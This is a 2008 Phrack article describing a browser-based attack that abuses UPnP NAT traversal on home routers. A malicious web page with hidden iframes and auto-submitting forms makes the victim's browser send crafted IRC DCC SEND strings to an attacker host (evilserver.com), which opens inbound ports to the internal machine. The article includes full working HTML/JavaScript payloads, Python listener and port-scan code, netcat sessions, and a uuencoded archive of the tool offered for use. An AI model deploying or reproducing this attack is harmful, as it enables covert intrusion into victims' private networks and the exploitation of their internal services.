Title : Clawing holes in NAT with UPnP
Author : FelineMenace
==Phrack Inc.==
Volume 0x0c, Issue 0x41, Phile #0x05 of 0x0f
|=-----------------=[ Clawing holes in NAT with UPnP ]=------------------=|
|=-----------------------------------------------------------------------=|
|=---=[ [email protected] <http://www.felinemenace.org> ]=----=|
|=--------------------------=[ April 12th 2008 ]-=-----------------------=|
--[ Contents
1 - Introduction / An overview of NAT and UPnP.
2 - Implementation Details
2.1 - Implementation specifics: IRC Protocol: DCC
2.2 - Implementation specifics: Java
2.3 - Implementation specifics: HTML
2.4 - Implementation specifics: Listener
3 - Putting it all together with Python
4 - References
5 - Appendix A: Source code
--[ 1 - Introduction / An overview of NAT and UPnP.
Welcome reader, this paper is a short attempt at documenting a
practical technique we have been working on. Although our technique
uses very similar technology to many other attacks, we have not
seen this documented in such a manner before, nor have we seen a
practical implementation in the wild. This paper is therefore designed
to accommodate this.
Our technique allows the attacker (us) to craft a website which,
when visited, will cause the victim to inadvertently forward any port
of our choice through their NAT, allowing us to connect directly to them
inside their private network via UPnP.
Before we launch into the specifics of the technique, or our
implementation details, you must first be familiar with a couple of
fairly straight forward concepts. These are: "Network Address
Translation" (NAT) and "Universal Plug and Play" (UPnP).
Hopefully most people reading this paper are already familiar with
NAT. For those who arn't, NAT basically allows several machines
to share a single IP address without conflict. This means that a single
computer or router acts as a gateway for several other computers. To
learn more about the specifics of NAT read the RFC in the references
section [1].
For a typical home user, NAT is implemented by their DSL modem/router
and is fairly seamless. The internal IP address is assigned by a DHCP
service on the router and internal users are almost never aware of
their external address.
It is a common misconception that NAT provides an impenetrable
security layer for the internal hosts. Often this leads to a
more lapse security policy for internal machines, and a nice
gaping hole for anyone who manages to penetrate the outer shell.
It is very common to find publicly accessible smb shares or poorly
patched services etc. using our technique.
The other concept which you must be familiar with before we
can get into the (hopefully) interesting section of this paper
is "Universal Plug and Play ", UPnP.
Universal Plug and Play (UPnP) is a set of protocols which were
consolidated by the UPnP forum. The general theme which all these
protocols have in common is that they allow for seamless implementation
of networks and data communication.
The major feature of this protocol suite which is of interest to us in
the context of this paper is the NAT punching functionality.
This feature describes how a gateway can parse various protocols
passing through it in order to forward ports through the NAT to the
internal service. It is designed in order to allow any host behind the
NAT to request that a port be opened up in the outer layer, and any
traffic received on this port will be forwarded through to the internal
machine, creating new channel for communications. This functionality
allows protocols such as FTP/SIP/etc to function. In these cases the
gateway responsible for NAT will parse the protocol stream looking for
requests for a separate channel to be created. It will then search and
replace the IP and port values as they pass over the wire, replacing
them with the external values. Thus, the other end of the transaction
knows to try to connect to the external IP address and port, rather
than the internal values.
It is very common currently for most household ADSL/modems and routers
to ship with UPnP enabled by default. Also the Linux kernel supports
UPnP with ipfilter, however this isn't a default config option and
only really active when using a Linux box as a gateway device.
It's this feature that we are able to exploit in order to create the
forwarding of our choice, allowing us access any specific port on a
host behind the NAT directly, regardless of the fact the NAT is there.
--[ 2 - Implementation Specifics
In this chapter we will try to provide a detailed overview of our
technique itself and discuss our implementation details. We will
try to explain the criteria for selecting each of the protocols and
technologies we used for implementing each component of our technique.
For those of you familiar with the technologies associated with our
implementation, the overview below should be enough for you to implement
our technique by yourself. However we would like to note that our
technique can be implemented in other ways, and our implementation
serves as just one example. We will only discuss the various technologies
used by felinemenace throughout the rest of this paper.
The basic premis of our technique is to encapsulate one protocol
(specifically one of the protocols which are handled by UPnP NAT
Punching functionality) within a second, transport protocol. This way
when the gateway see's the traffic it will interpret the encapsulated
protocol string as a request to open a port, and act accordingly.
Our implementation begins by convincing the victim to visit a website
of our choice. This can be accomplished via social engineering, cross
site scripting, phishing, baiting, banner ads, etc. Once the victim
has accessed our site, we have enough control over their browser in
order to redirect it to any port of our choice, on any address. This
flexibility allows us to accomodate almost any choice of protocol to
be encapsulated within the web session. The aformentioned behaviour
makes (in the author's opinion) the use of HTML/Javascript, as a
delivery mechanism, to be a very effective choice.
When the victim accesses the website a fake (bait) web site is displayed
to them. This is done so as not to encourage the user to immediately close
the page upon load.
From this stage the attacker uses one of the various methods of
browser redirection, HTTP response, javascript redirection etc. in
order to redirect the victim's browser to a port of the attacker's
choice. We chose JavaScript since a large portion of the technique was
already written in JavaScript. This is documented in the HTML section
of the paper.
The attacker chooses a port which corresponds to a particular protocol
that performs a data transfer out of band with the initial communication.
In our case we chose the DCC feature from the IRC protocol. [3] Our reason
for choosing this protocol was simply because we were already familiar
with it however, any protocol which fits this criteria is fine. The
attacker then (using the JavaScript running on the victims computer at
this stage) forces the victim to send text from the appropriate
protocol, (DCC in our case) back to the attacker. If the gateway
device responsible for NAT has UPnP features enabled, this will cause
the device to open up a hole (as mentioned previously) and grant the
attacker direct access to the local machine behind the NAT.
By redirecting multiple times, an attacker is able to open up a range
of ports, to portscan the host, or connect to any service running
on the local machine.
We have provided an implementation of this for you to use, however
obviously writing your own will make it less detectable / more useful.
Now that we've looked at the technique from a high level breakdown we
will dive deeper into each of the technologies which come together to
make our technique work.
To summarize this section, the following technologies will be covered
by this paper:
o IRC Protocol: DCC
o A Java Applet.
o HTML with JavaScript.
o Python code to ./scriptkiddify the whole process up.
The rest of this chapter has been broken down into a walkthru of the
in's and out's of each of the technologies mentioned, and how we can
manipulate them to our desired end.
Each of the following sections will describe a single technology, and how
we used it.
--[ 2.1 - Implementation specifics: IRC Protocol: DCC
The first step in our implementation is to find a protocol which requires
a separate socket connection in order to communicate directly with
an end user.
While, as mentioned previously, there exist a multitude of protocols
which fit our criteria, for the sake of this paper we will demonstrate
one in particular, RFC-1459 [3] Internet Relay Chat.
While i'm sure that most people reading this paper are already
intimately familiar with IRC, i will give a brief rundown on the aspects
of the protocol which are interesting in the scope of this paper.
Basically IRC requires that each client connects to a central server,
typically on port 6667. When one client wishes to send a message to another
they send a message to the server using the existing socket connection they
have open. The server then forwards this message on to the target client.
If two of the users on an IRC server wish to communicate without having the
server be responsible for passing the message between them, (read; trade
top secret 0day juarez) they can establish a separate communication
channel. This is accomplished by using a subset of the IRC protocol known
as DCC (Direct Client to Client).
DCC works by one client sending a request to establish an out of band
connection with another client on the IRC server. This request contains
both the IP and port on which the communication will take place. The
second client then simply establishes a TCP connection with these
details, and uses it for further communication.
What this basically boils down to is the following line.
"\x01DCC SEND fake.exe 2130706433 1337\x01\r\n\r\n"
This is the format of a DCC SEND command. As you can see the entire
command is enclosed within "\x01" characters. It contains the words
"DCC SEND" followed by the name of the file which is going to be sent.
After this is the internal IP address of the requesting host, in numeric
decimal format, and finally the port the transaction will take place on.
The format of the IP address is explained more thoroughly by optiklenz in
Keen Veracity 6 [5].
This aspect of the protocol clearly will not work under a typical NAT
environment (without UPnP enabled). After receiving the IP address and
port information, the connecting host would end up trying to connect to a
local address (the address of the machine inside the NAT), and
never actually make it back to the intended recipient. It is for this
reason that a UPnP enabled gateway must parse IRC traffic looking for
DCC style commands. When this is detected, the gateway will replace
the IP address in the request, with it's own address. When the
connection is received on the port specified, the gateway will forward
it inside the NAT to the originating host. It is this behaviour that,
as the attacker, we can exploit for our own benefit.
If, as the attacker, we force the victim to send a crafted DCC SEND request
(such as the one above) to port 6667 there's a good chance that the
gateway will open up the port specified in the request, providing UPnP is
enabled. The cool thing about this protocol is that no IP address is
specified for the connecting IP. This means that once the request has
taken place, a connection from anywhere in the world is completely valid.
Several implementations of UPnP do not even care if the IP address
specified in the DCC SEND command is the same as that of the victim
machine. In this case, the steps described so far are sufficient to open a
gaping hole in the gateway and connect to the victim. However in most
cases we need to first establish the internal IP address of the victim's
machine.
Luckily there is an easy way to accomplish this from the web, which we
will address in the next section.
--[ 2.2 - Implementation specifics - Java
The easiest way to identify the local IP of the victim from the web is
to use a Java applet. Applets are able to create a new Socket object and
call the "getLocalAddress()" method on it to obtain the local address of
the host (obviously).
The following Java code illustrates this:
String s = (new Socket(s2, i)).getLocalAddress().getHostAddress();
Luckily for us, there already exists a nicely pre-packaged Java applet
called MyAddress [4] which does this and can be downloaded straight from
their website.
The applet supports a variety of ways to access the local
IP once it is obtained. One way is to specify the "mayscript" parameter
in the applet tag; this causes a javascript function (MyAddress() by
default) to be called once the IP is obtained. This is useful, as we can
effectively block until we receive this neccessary data.
The following HTML demonstrates the use of this applet and the MyAddress()
callback function. Also (as mentioned earlier in the DCC protocol section)
as the local IP address must be entered in "defunct" format, we've
provided the defunct() function to translate from decimal format to
defunct:
<applet code="MyAddress.class" name="myaddress"
mayscript width="0" height="0"></applet>
<script>
<!--
var ip = null;
function MyAddress(i) {ip = defunct(i); doevil();}
function defunct(sip) {
if(sip == null) return 0;
sip += ''; // ;( make sure it's a string
var dip = 0;
var a = sip.split(".");
var l = a.length;
for(var i=0; i<l; i++)
dip += a[l-i-1]*Math.pow(256,i);
return dip;
}
-->
</script>
--[ 2.3 - Implementation specifics: HTML
Now that we can create a proper DCC send string, the next problem
to overcome is how to force the client to unknowingly send the
encapsulated string to a malicious server, thereby tricking their
gateway into forwarding a port we specify. HTML forms submitted
automatically via javascript are highly useful for this.
Since the DCC string (and many other protocols you might choose
to use with this technique) require multiple lines of communication
to trigger the UPnP NAT traversal features, we set the "enctype"
attribute to "multipart/form-data". This allows the required
carriage return and new line characters to be submitted via a
form field.
The following form tag shows how to specify the enctype:
<form
id="evilform"
name="evilform"
action="http://evilserver.com:6667/"
method="post"
enctype="multipart/form-data"
>
In order to automate the submission of our DCC string (payload),
we use javascript to submit the form (after the internal IP address
is obtained) via the form submit() method as follows:
function doevil(ip, port) {
var frm = document.forms['evilform'];
if(frm == null) return;
frm.payload.value = unescape("%01")
+ "DCC SEND evil.txt " + ip + " " + port +
+ unescape("%01%0a%0d");
try { frm.submit(); } catch(err) { return; }
}
As you can see we've used javascript to craft the payload string,
because of the neccessary (depending of gateway implementation)
carriage return and newline characters.
The following HTML code demonstrates the code so far, including
the use of the MyAddress applet mentioned in the previous section:
<html>
<head>
<title>(Untitled)</title>
<applet code="MyAddress.class" name="myaddress"
mayscript width="0" height="0"></applet>
<script>
<!--
var port = 1337;
function MyAddress(i) {ip = defunct(i); doevil(ip, port);}
function defunct(sip) {
if(sip == null) return 0;
sip += ''; // ;( make sure it's a string
var dip = 0;
var a = sip.split(".");
var l = a.length;
for(var i=0; i<l; i++)
dip += a[l-i-1]*Math.pow(256,i);
return dip;
}
function doevil(ip, port) {
var frm = document.forms['evilform'];
if(frm == null) return;
frm.payload.value = unescape("%01")
+ "DCC SEND evil.txt " + ip + " " + port +
+ unescape("%01%0a%0d");
try { frm.submit(); } catch(err) { return; }
}
-->
</script>
</head>
<body>
<form
id="evilform"
name="evilform"
action="http://evilserver.com:6667/"
method="post"
enctype="multipart/form-data"
>
<input type="input" id="payload"
name="payload" value="null">
</form>
</body>
</html>
By simply binding netcat to port 6667 of evilserver.com, this
code is enough to manually connect back to the port "port" once
a victim has viewed this web page, as the following snippet
demonstrates:
-[max@evilserver:~/simple]$ nc -lp 6667
POST / HTTP/1.1
Host: evilserver.com:6667
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13)
Gecko/20080311 Firefox/2.0.0.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,
text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://evilserver.com/simpletest.html
Content-Type: multipart/form-data; boundary=---------------------------
162151946613101846322123277333
Content-Length: 213
-----------------------------162151946613101846322123277333
Content-Disposition: form-data; name="payload"
DCC SEND evil.txt 16909060 1337NaN
-----------------------------162151946613101846322123277333--
You can see that a victim has connected to our webpage (simpletest.html)
and that the page has automatically submitted our DCC SEND send string.
Using netcat again, we can connect back to the ip and port above (using
the defunct format works fine with nc):
-[max@evilserver:~/simple]$ nc 16909060 1337
muahahaha
what are you doing here?!
Here's what it looks like from the victim's end:
-[victim@QQ:~]$ nc -lp 1337
muahahaha
what are you doing here?!
Obviously there are some significant drawbacks to using this
simplified example...who wants to sit and manually monitor
their connections and then manually connect back to victims?
What if you want to connect to multiple ports? Won't it kinda
tip the victim off (or at least bore them mightily) if there's
nothing but a dodgy page for them to look at? How about something
interesting? Like maybe an article....
The topic of the listening and connect back mechanism is addressed
in the next section of this chapter. The content problem and the
ability to forward multiple ports per visit are addressed by creating
an additional page (evil.html) that contains two HTML iframes, one hidden
and one visible. While the victim is distracted by content in the
visible iframe (goodframe), the hidden iframe (evilframe)
loads the second page (evilform.html) in order to post (as many times
as desired) to evilserver.
The code might look something like this (note that we keep the
MyAddress code in evil.html; there's no sense in loading it multiple
times):
evil.html:
<html>
<head>
<title>(Untitled)</title>
<applet code="MyAddress.class" name="myaddress"
mayscript width="0" height="0"></applet>
<script type="text/javascript">
<!--
var ports = [135,137,138,139,22,1337];
var port = null;
var ip = null;
function MyAddress(i) {ip = defunct(i); openports();}
function defunct(sip) {
if(sip == null) return 0;
sip += ''; // ;( make sure it's a string
var dip = 0;
var a = sip.split(".");
var l = a.length;
for(var i=0; i<l; i++)
dip += a[l-i-1]*Math.pow(256,i);
return dip;
}
function openports() {
if(!ports || !ip) return;
for(port in ports)
document.getElementById('evilframe').src = 'evilform.html';
}
-->
</script>
</head>
<body style="padding: 0px; border:none; margin:0px;">
<iframe name="evilframe" id="evilframe" src=""
width="0" height="0" frameborder="0"></iframe>
<iframe name="goodframe" id="goodframe"
src="http://google.com" width="100%" height="100%"
frameborder="0">
</iframe>
</body>
</html>
Upon load, evilform.html will access evil.html's (its parent's) variables
"port" and "ip" to craft the payload DCC string and then post:
evilform.html:
<html>
<head>
<title>(Untitled)</title>
</head>
<script>
<!--
function doevil(ip, port) {
var frm = document.forms['evilform'];
if(ip == null || port == null || frm == null) return;
frm.internal_ip.value = 'internal_ip:'+ip;
frm.internal_port.value = 'internal_port:'+port;
frm.payload.value = unescape("%01")
+ "DCC SEND evil.txt " + ip + " " + port +
+ unescape("%01%0a%0d");;
window.parent.formposting();
try { frm.submit(); } catch(err) { return; }
}
-->
</script>
<body onload="doevil(window.parent.ip, window.parent.port)">
<form
id="evilform"
name="evilform"
action="http://evilserver.com:6667/"
method="post"
enctype="multipart/form-data"
>
<input type="input" id="payload" name="payload" value="null">
<input type="input" id="internal_ip" name="internal_ip" value="null">
<input type="input" id="internal_port" name="internal_port" value="null">
</form>
</body>
</html>
Note that evilform.html is now also setting two additional form variables
(with some tags to make them easier to regex out later) so that the
listener can note what the internal port and IP of the victim are. Since
these variables aren't within a protocol string (like the DCC send string)
the gateway will not replace them with the external values.
Unfortunately, however, the code above introduces a race condition: you
can't be assured that evilform.html has had enough time to load and post
before it gets reloaded. We originally expected that this could be
remedied if the service listening on 6667 of evilserver.com replied with a
page that invoked a callback function in the parent page in the following
manner:
<script>window.parent.imdone();</script>
Unfortunately, modern browsers will limit access to data across iframes if
the source page's scheme, domain, or port is different. Because our post
is neccessarily to a different port (6667 vs 80), the above code will
always generate an exception.
Our solution was to mitigate the issue by putting in enough delay after
evilform.html begins loading as to be reasonably assured that the page
has completed it's automatic posting before reloading it. Since javascript
has no sleep() function (that we could find), we used
window.setTimeout(fn, t):
evil.html:
...
function MyAddress(i) {ip = defunct(i); opennextport();}
...
function formposting() {
window.setTimeout('opennextport()', 1000)
}
function opennextport() {
if(!ports || cp < 0 || cp > ports.length) return;
port = ports[cp++];
document.getElementById('evilframe').src = 'evilform.html';
}
...
evilform.html:
...
function doevil(ip, port) {
var frm = document.forms['evilform'];
if(ip == null || port == null || frm == null) return;
frm.internal_ip.value = 'internal_ip:'+ip;
frm.internal_port.value = 'internal_port:'+port;
frm.payload.value = unescape("%01")
+ "DCC SEND evil.txt " + ip + " " + port +
+ unescape("%01%0a%0d");;
window.parent.formposting();
try { frm.submit(); } catch(err) { return; }
}
...
One cosmetic issue remains with our code: the title of evil.html will not
match that of our bait page. If the bait page is hosted via the same
scheme on the same domain and port as evil.html, then this can be easily
remedied with this code snippet:
function settitle() { document.title =
window.frames['goodframe'].document.title; }
...
<body onload="settitle()">
However, as previously mentioned, if the bait page is hosted on a
different server or using a different scheme, accessing goodframe's
document title would cause an exception to be raised. In either case,
if the victim were to follow an internal link, the title would become
outdated. Our solution was to wrap the assignment in a try / catch block
and to set a timeout to call settitle again in 350 milliseconds:
function settitle() {
try{ document.title = window.frames['goodframe'].document.title;}
catch(err) {return;}
window.setTimeout('settitle()', 350);
}
Below is the final code:
evil.html:
<!-- evil.html -->
<html>
<head>
<title>(Untitled)</title>
<applet code="MyAddress.class" name="myaddress"
mayscript width="0" height="0"></applet>
<script type="text/javascript">
<!--
var ip = null;
var port = null;
var ports = [135,137,138,139,22,1337];
var cp = 0;
function MyAddress(i) {ip = defunct(i); opennextport();}
function settitle() {
try{ document.title = window.frames['goodframe'].document.title;}
catch(err) {return;}
window.setTimeout('settitle()', 350);
}
function defunct(sip) {
if(sip == null) return 0;
sip += ''; // ;( make sure it's a string
var dip = 0;
var a = sip.split(".");
var l = a.length;
for(var i=0; i<l; i++)
dip += a[l-i-1]*Math.pow(256,i);
return dip;
}
function formposting() {
window.setTimeout('opennextport()', 1000)
}
function opennextport() {
if(!ports || cp < 0 || cp > ports.length) return;
port = ports[cp++];
document.getElementById('evilframe').src = 'evilform.html';
}
-->
</script>
</head>
<body onload="settitle()" style="padding: 0px; border:none; margin:0px;">
<iframe name="evilframe" id="evilframe" src=""
width="0" height="0" frameborder="0"></iframe>
<iframe name="goodframe" id="goodframe" src="http://google.com"
width="100%" height="100%" frameborder="0"></iframe>
</body>
</html>
evilform.html:
<html>
<head>
<title>(Untitled)</title>
</head>
<script>
<!--
function doevil(ip, port) {
var frm = document.forms['evilform'];
if(ip == null || port == null || frm == null) return;
frm.internal_ip.value = 'internal_ip:'+ip;
frm.internal_port.value = 'internal_port:'+port;
frm.payload.value = unescape("%01")
+ "DCC SEND evil.txt " + ip + " " + port +
+ unescape("%01%0a%0d");;
window.parent.formposting();
try { frm.submit(); } catch(err) { return; }
}
-->
</script>
<body onload="doevil(window.parent.ip, window.parent.port)">
<form
id="evilform"
name="evilform"
action="http://evilserver.com:6667/"
method="post"
enctype="multipart/form-data"
>
<input type="input" id="internal_ip" name="internal_ip" value="null">
<input type="input" id="internal_port" name="internal_port" value="null">
<input type="input" id="payload" name="payload" value="null">
</form>
</body>
</html>
Voila. Now you have a couple of pages that can be used
to open ports for connecting to boxes that are NAT'd
behind UPnP enabled routers. The section below details the
final component of our implementation: the listener.
--[ 2.4 - Implementation specifics: Listener
Possibly the most trivial component of our implementation is
the listener. This service will sit on evilserver.com and
listen on the port of choice (6667 for IRC/DCC and our code
above).
When the victim browses to evil.html and inadvertantly posts
via evilform.html, the listener is responsible for receiving
the connection. This can trivially be implemented in python
using the "SocketServer" module. A small example of this is
as follows:
class RequestHandler(SocketServer.StreamRequestHandler):
def handle(self):
while(True):
try:
line = self.rfile.readline()
except:
return
...
# begin listening for new connections.
tcpserver = SocketServer.TCPServer(('localhost', port),RequestHandler)
tcpserver.serve_forever()
The implementation of the listener provided with this paper will also
attempt to connect back to the victim through their gateway, effectively
port scanning the victim, behind the NAT.
Here is the code to do this:
def scan(self, ip, port):
sock = socket.socket()
sock.settimeout(1)
ret = sock.connect_ex((ip,int(port))) == 0
sock.close()
return ret
The code for the listener (whiskers.py) can be generated with the script
that is included in section Appendix A.
The output of whiskers is as follows:
-[max@evilserver:~]$ python whiskers.py
***********************************************************
Sat, 12 Apr 2008 01:13:17 GMT: Starting server....
Sat, 12 Apr 2008 01:13:17 GMT: Server started: 1.2.3.1337 listening on 6667
Sat, 12 Apr 2008 01:13:39 GMT: [+] Opened hole for port: 135 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:39 GMT: [+] ---- Internal port: 135 on ip:
192.168.0.100 - closed.
Sat, 12 Apr 2008 01:13:40 GMT: [+] Opened hole for port: 137 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:40 GMT: [+] ---- Internal port: 137 on ip:
192.168.0.100 - closed.
Sat, 12 Apr 2008 01:13:42 GMT: [+] Opened hole for port: 138 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:42 GMT: [+] ---- Internal port: 138 on ip:
192.168.0.100 - closed.
Sat, 12 Apr 2008 01:13:43 GMT: [+] Opened hole for port: 139 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:44 GMT: [+] ---- Internal port: 139 on ip:
192.168.0.100 - closed.
Sat, 12 Apr 2008 01:13:45 GMT: [+] Opened hole for port: 22 on ip: 1.2.3.4
Sat, 12 Apr 2008 01:13:45 GMT: [+] ---- Internal port: 22 on ip:
192.168.0.100 - open.
Sat, 12 Apr 2008 01:13:53 GMT: Server stopped.
As you can see, the victim had a service running on port 22.
--[ 3 - Putting it all together with Python.
Since it's a bit cumbersome to remember which bit to swivel where and when
or what protocol's to use and how, we've provided an extensible python
script that generates the two webpages (with the options to name them
something a little more innocuous), MyAddress.class, and a listener based
on specified parameters.
Type ./claw.py -h for usage.
--[ 4 - References
[1] Network Address Translation :: http://www.faqs.org/rfcs/rfc1631.html
[2] UPnP NAT Traversal
[3] Khaled would be proud :: http://www.mirc.co.uk/help/rfc1459.txt
[4] MyAddress Java Applet
:: http://reglos.de/myaddress/MyAddress.html
[5] Defunct IP address representation
http://www.mirrors.wiretapped.net/security/info/textfiles/keen-veracity/ ..
kv6.txt
--[ 5 - Appendix A: Source code
The source code used in this paper was written by arachne.
We really appreciate her work on this project.
begin 644 claw.tgz
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
M&68Y8FL:GZ^*9$>[email protected]!&#YE$MI#XN2=(OTQ>>-&]'O4V79[QLX(-XT
M18CXW.0Z@5U(3[V\*%3S&(.-.:_9"7E'%OO^3167SY0P*CC9/*!2Z*_1:A:3
MZC#%',0S.CQ1DPRJ:C2#3NELRGQ*WJAP\.3.L#9JB.$8651NVDMW5#ZJU+1"
M$E'G-"I#")DY4F(-$9/5RCB)C`(O^5^NC*":L5.H2E91A4/B"#\2!FQ?GN;-
M'.,"00!^<:P0I1+SPY1*IG`9#IOY/G*1EW9BT%::O"$S-Q0_&8Z&0R/'YF2O
MDGFJ"D/)G^(]<6\RDE=1A3^2(LCQ80Z4EUG4'UH1MM-`?=-X9$[TA&JY'?$_
MM:L<Q5JP:UZGR43-/S6L[QM.V5)0?TU##P?`&!7$JKU!A4*MA@-Y<2[E')L]
M9'Q`]V,ZK/.0V5\3$KU"8]5V5VV4'#MT9O\S*_P_866)SN<2#N:A&_25`Y^3
M&Y7`V'T!]!Z6XA;@.6X5ROC]A$)&XE&='*-H,/2KKP_VQC6$CL&F?4V2ER-K
M[:T<&%=VZ_7UVENS<FNRPBJ,/R9>>=Q>/A.<?7^>'Y=G:710)80>TJPL4E05
M7*MQ%Z,C.`PF5`]9*#%&!#78LF3)*W&E\#654<@-!E$4&(0LJ=;((/QP2H*E
MG%6;@'258]0JV7`LYRA"$VHTD>0EC:KV8(S3$"5H;$RLVR2:QCA-F-6U'BVD
MA+ILJ>4K*9.8K[!\@256\:=K5.WK^[M9-,_\^:9\?-K]8-TG?D:6MW8MNCAQ
MPV>HJ\5^PG8B5JG.@LO3B$]I%:+-,O_F(EE)MX6?.%%B64)5M`03KDBN65:Q
M:2+&&/HPB.#4>E.GWH!N7K%]4=O**#%1XHAS/S<6+1G1<F.3CJX2"9W^*'GT
MBB1*P>'.'ZG,P=TSP4TBU+O?6#3J>$^98[/28E2-FG1I]S"&FL9"=@VS,31Q
M.Z8.&R<=ZL19RPL9+@([YYP"N=!38PIA'94-9+W6T:E[0<T+ZEU0ZV)S$T<)
MJKDZC7EOJ"&#[@GWX0+_7XB9E6[OO))@"?/ZL!Z^%D!E4GPM2AYP1"4/+CE(
M,@:@'.1@8@E`NN0@YZ+;ZQYT3ZE[?J6RNWFM4@?JYF_3F!@H98V+4M8X<?)L
M$$1#F-G$12&#*.3243^CPD:^**#S.(T&,\K;O,D5:FI\/'2@JJ%+8[!V'X4-
M'`.&&<XP.&24FJNJVX-D%U!:H2-`ZE'2=S-70(KYZ<(5L@LBZP,_Q.D`N9?Z
M""&8I4V#"PJ2DBUY,=3=_OO^R?E1KYD_O>P>_-0__'"Q?V:JF9;B`SZVL?G<
M*OU!X=LVNZ+*:XRNMDW,&";.X4JNTD^EG<GS=E.XZGJOKNIEB)1YEP^Y4N;4
M7V>KI\=_W>3=HH,.!.XQ-T;<=I9^$#JR_,GSOLHCV$`.,@IC,^6Y>8Y;BI*J
M(7(2WL'&1Z4C70NZ^Q;22;.HPF1HJY#-JZ5.0=U:++,(;<YE@;98YG"N!)=E
